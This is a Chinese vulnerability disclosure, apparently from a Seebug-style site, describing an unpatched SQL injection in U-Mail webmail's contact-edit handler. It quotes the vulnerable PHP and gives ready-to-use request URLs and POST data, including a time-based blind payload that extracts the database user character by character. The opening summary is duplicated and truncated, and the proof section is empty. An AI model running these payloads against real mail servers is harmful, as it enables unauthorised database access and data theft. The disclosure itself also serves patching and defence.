### 简要描述: U-Mail sql注射 U-mail 进行了文件更新其他的漏洞已经被修补了 但是还有一处没有进行修补 ### 详细说明: o_concat.php: ``` if ( ACTION == "contact-edit" ) { $contact_id = gss( $_GET['id'] ); $group_list = explode( ",", trim( $_POST['group_list'] ) ); $group_change = gss( $_POST['group_change'] ); if ( !$contact_id && !check_post( ) ) { dump_json( array( "status" => 0, "message" => "参数错误!" ) ); } $birthday = gss( $_POST['bd_year'] )."-".gss( $_POST['bd_month'] )."-".gss( $_POST['bd_day'] ); $data = array( "fullname" => gss( $_POST['fullname'] ), "birthday" => $birthday, "pref_email" => gss( $_POST['pref_email'] ), "pref_tel" => gss( $_POST['pref_tel'] ), "im_qq" => gss( $_POST['im_qq'] ), "im_msn" => gss( $_POST['im_msn'] ), "homepage" => gss( $_POST['homepage'] ), "remark" => gss( $_POST['remark'] ), "home_country" => gss( $_POST['home_country'] ), "home_state" => gss( $_POST['home_state'] ), "home_city" => gss( $_POST['home_city'] ), "home_address" => gss( $_POST['home_address'] ), "home_tel" => gss(...
### 简要描述: U-Mail sql注射 U-mail 进行了文件更新其他的漏洞已经被修补了 但是还有一处没有进行修补 ### 详细说明: o_concat.php: ``` if ( ACTION == "contact-edit" ) { $contact_id = gss( $_GET['id'] ); $group_list = explode( ",", trim( $_POST['group_list'] ) ); $group_change = gss( $_POST['group_change'] ); if ( !$contact_id && !check_post( ) ) { dump_json( array( "status" => 0, "message" => "参数错误!" ) ); } $birthday = gss( $_POST['bd_year'] )."-".gss( $_POST['bd_month'] )."-".gss( $_POST['bd_day'] ); $data = array( "fullname" => gss( $_POST['fullname'] ), "birthday" => $birthday, "pref_email" => gss( $_POST['pref_email'] ), "pref_tel" => gss( $_POST['pref_tel'] ), "im_qq" => gss( $_POST['im_qq'] ), "im_msn" => gss( $_POST['im_msn'] ), "homepage" => gss( $_POST['homepage'] ), "remark" => gss( $_POST['remark'] ), "home_country" => gss( $_POST['home_country'] ), "home_state" => gss( $_POST['home_state'] ), "home_city" => gss( $_POST['home_city'] ), "home_address" => gss( $_POST['home_address'] ), "home_tel" => gss( $_POST['home_tel'] ), "home_zip" => gss( $_POST['home_zip'] ), "work_name" => gss( $_POST['work_name'] ), "work_department" => gss( $_POST['work_department'] ), "work_position" => gss( $_POST['work_position'] ), "work_address" => gss( $_POST['work_address'] ), "work_zip" => gss( $_POST['work_zip'] ), "work_tel" => gss( $_POST['work_tel'] ), "work_fax" => gss( $_POST['work_fax'] ), "mail_bak1" => gss( $_POST['mail_bak1'] ), "mail_bak2" => gss( $_POST['mail_bak2'] ), "updated" => date( "Y-m-d H:i:s" ) ); $where = "contact_id='".$contact_id."'"; $result = $PAB->update_contact( $data, $where, 0 ); if ( $result ) { if ( $group_change ) { $res = $PAB->delMapByContactID( $user_id, $contact_id, 0 ); ``` 第一步: $contact_id = gss( $_GET['id'] ); 最后没有进行处理进入到了: $res = $PAB->delMapByContactID( $user_id, $contact_id, 0 ); 我们跟进去看看: zend解码后 有乱码 我就用响应的替换了一下 ``` public function delMapByContactID( $xxx, $yyy, $zzzz = FALSE ) { $_qqqq = "user_id='".$xxx."' AND contact_id IN (".$yyy.")"; ``` 访问url: http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=if(1,sleep(5),1) postdata: fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx group_change=xxx 当此有值的时候 进入到了那个函数 访问后 延迟五秒: 抓取到的sql语句为: [<img src="https://images.seebug.org/upload/201410/24164253985ee2da069c855af92105096db79042.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/24164253985ee2da069c855af92105096db79042.png) 下来我们看poc: http://192.168.47.132/webmail/client/pab/index.php?module=operate&action=contact-edit&id=sleep(if(ascii(substr((select user()),1,1))=$NUM,sleep(5),1))) postdata: fullname=xxx&pref_email=xxxx%40qq.com&pref_tel=15802991519&home_tel=&work_tel=&im_qq=&im_msn=&home_country=&home_state=&home_city=&home_zip=&homepage=&work_name=&work_department=&work_position=&work_address=&work_zip=&work_fax=&mail_bak1=&mail_bak2=&group_list=&bd_year=2014&bd_month=02&bd_day=&home_address=&remark=&group_change=0&group_change=xxx 这里的$NUM 可以进行递增 猜测 信息 ### 漏洞证明: